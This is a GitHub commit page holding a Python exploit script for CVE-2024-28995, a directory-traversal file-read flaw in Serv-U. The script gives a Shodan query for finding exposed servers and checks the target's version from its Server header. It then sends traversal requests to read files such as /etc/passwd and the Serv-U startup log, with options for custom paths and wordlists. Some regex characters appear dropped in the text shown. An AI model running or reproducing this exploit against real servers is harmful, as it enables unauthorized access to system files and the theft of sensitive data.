-
Notifications
You must be signed in to change notification settings - Fork 5
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
0 parents
commit b3b9d5d
Showing
1 changed file
with
157 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 1,157 @@ | ||
import requests | ||
import argparse | ||
import re | ||
|
||
# Shodan: | ||
# Serv-U product:"Rhinosoft Serv-U httpd" | ||
|
||
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) | ||
|
||
# ANSI | ||
RED = "\033[91m" | ||
GREEN = "\033[92m" | ||
YELLOW = "\033[93m" | ||
PURPLE = "\033[95m" | ||
CYAN = "\033[96m" | ||
RESET = "\033[0m" | ||
|
||
def banner(): | ||
print(f'''{YELLOW} | ||
,, | ||
.M"""bgd `7MM `7MMF' `7MF' | ||
,MI "Y MM MM M | ||
`MMb. .gP"Ya `7Mb,od8 `7M' `MF' .gP"Ya ,M""bMM MM M | ||
`YMMNq. ,M' Yb MM' "' VA ,V ,M' Yb ,AP MM MM M | ||
. `MM 8M"""""" MM VA ,V 8M"""""" 8MI MM MM M | ||
Mb dM YM. , MM VVV YM. , `Mb MM YM. ,M | ||
P"Ybmmd" `Mbmmd' .JMML. W `Mbmmd' `Wbmd"MML. `bmmmmd"' | ||
{RESET}Developed by: {PURPLE}@stuub{RESET} | ||
Github: {CYAN}https://github.com/stuub | ||
{RESET}''') | ||
|
||
def get_servu_version(url): | ||
try: | ||
response = requests.get(url, verify=False) | ||
if response.status_code == 200: | ||
server_header = response.headers.get('Server', '') | ||
match = re.search(r'Serv-U/(\d \.\d \.\d )', server_header) | ||
if match: | ||
return match.group(1) | ||
return None | ||
except requests.RequestException as e: | ||
print(f"{RED}[!] Request Exception: {str(e)}{RESET}") | ||
return None | ||
|
||
def is_vulnerable_version(version): | ||
vulnerable_version = "15.4.2" | ||
return version_compare(version, vulnerable_version) <= 0 | ||
|
||
def version_compare(version1, version2): | ||
def normalize(v): | ||
return [int(x) for x in re.sub(r'(\.0 )*$', '', v).split(".")] | ||
|
||
parts1 = normalize(version1) | ||
parts2 = normalize(version2) | ||
|
||
for part1, part2 in zip(parts1, parts2): | ||
if part1 < part2: | ||
return -1 | ||
if part1 > part2: | ||
return 1 | ||
return 0 | ||
|
||
def is_html_content(response_text): | ||
return bool(re.search(r'<!DOCTYPE\s html|<html', response_text, re.IGNORECASE)) | ||
|
||
def test_path(url, path): | ||
full_url = f"{url.rstrip('/')}{path}" | ||
print(f"{YELLOW}[*]{RESET} Testing File Read with path: {YELLOW}{full_url}{RESET}") | ||
try: | ||
response = requests.get(full_url, verify=False) | ||
if response.status_code == 200 and not is_html_content(response.text): | ||
print(f"{GREEN}[ ]{RESET} File Read Exploited successfully with path {YELLOW}{full_url}{RESET}") | ||
print(f"\n{GREEN}Content:{RESET}\n{response.text.strip()}\n") | ||
return True | ||
else: | ||
print(f"{RED}[-]{RESET} Not Found or HTML Content: {YELLOW}{path}{RESET}\n") | ||
except requests.RequestException as e: | ||
print(f"{RED}[!]{RESET} Request Exception: {str(e)}") | ||
return False | ||
|
||
def test_lfi_vulnerability(url, default_paths, custom_path=None, wordlist=None): | ||
try: | ||
print(f"{YELLOW}[*]{RESET} Checking if {url} is running vulnerable Serv-U...") | ||
version = get_servu_version(url) | ||
if version is None: | ||
print(f"{RED}[-]{RESET} Serv-U server not detected") | ||
return | ||
|
||
if not is_vulnerable_version(version): | ||
print(f"{RED}[-]{RESET} Serv-U version {version} detected. This version is not vulnerable. Exiting.") | ||
return | ||
else: | ||
print(f"{GREEN}[ ]{RESET} Serv-U version {version} detected. This version is vulnerable.\n") | ||
|
||
# Test default paths first | ||
os_detected = None | ||
for path_name, path in default_paths.items(): | ||
if test_path(url, path): | ||
print(f"{GREEN}[ ]{RESET} Target OS: {YELLOW}{path_name.upper()}") | ||
os_detected = path_name | ||
break | ||
|
||
# Test custom path if provided | ||
if custom_path: | ||
custom_dir = f"/../../../../../../../../../../../../../../{custom_path['dir']}" | ||
custom_full_path = f"/?InternalDir={custom_dir}&InternalFile={custom_path['file']}" | ||
print(f"{YELLOW}[*]{RESET} Testing custom path for File Read...") | ||
if test_path(url, custom_full_path): | ||
print(f"{GREEN}[ ]{RESET} Custom path {custom_path['dir']}/{custom_path['file']} exploited successfully") | ||
|
||
# Test wordlist paths if provided | ||
if wordlist: | ||
print(f"{YELLOW}[*]{RESET} Testing File Read with wordlist paths...") | ||
with open(wordlist, 'r') as file: | ||
for line in file: | ||
wordlist_path = line.strip() | ||
full_wordlist_path = f"/../../../../../../../../../../../../../{wordlist_path}" | ||
if test_path(url, full_wordlist_path): | ||
break | ||
|
||
except requests.RequestException as e: | ||
print(f"{RED}[!] Request Exception: {str(e)}{RESET}") | ||
|
||
def main(): | ||
parser = argparse.ArgumentParser(description="CVE-2024-28995 Exploit") | ||
parser.add_argument("-u", "--url", help="URL to exploit", required=True) | ||
parser.add_argument("-d", "--dir", help="Directory path for File Read (e.g., ProgramData/RhinoSoft/Serv-U/)") | ||
parser.add_argument("-f", "--file", help="File to read for File Read (e.g., Serv-U-StartupLog.txt or passwd)") | ||
parser.add_argument("-w", "--wordlist", help="Wordlist for additional paths to test") | ||
args = parser.parse_args() | ||
|
||
url = args.url | ||
custom_dir_path = args.dir | ||
custom_file = args.file | ||
wordlist = args.wordlist | ||
|
||
default_paths = { | ||
"windows": "/?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt", | ||
"linux": "/?InternalDir=/../../../../etc&InternalFile=passwd" | ||
} | ||
|
||
custom_path = None | ||
if custom_dir_path and custom_file: | ||
custom_path = {"dir": custom_dir_path, "file": custom_file} | ||
|
||
try: | ||
banner() | ||
print(f"\n{YELLOW}[*]{RESET} Testing File Read vulnerability for {url}...{RESET}\n") | ||
test_lfi_vulnerability(url, default_paths, custom_path, wordlist) | ||
except KeyboardInterrupt: | ||
print(f"\n{RED}[!]{RESET} Keyboard interrupt received. Exiting...") | ||
|
||
if __name__ == "__main__": | ||
main() |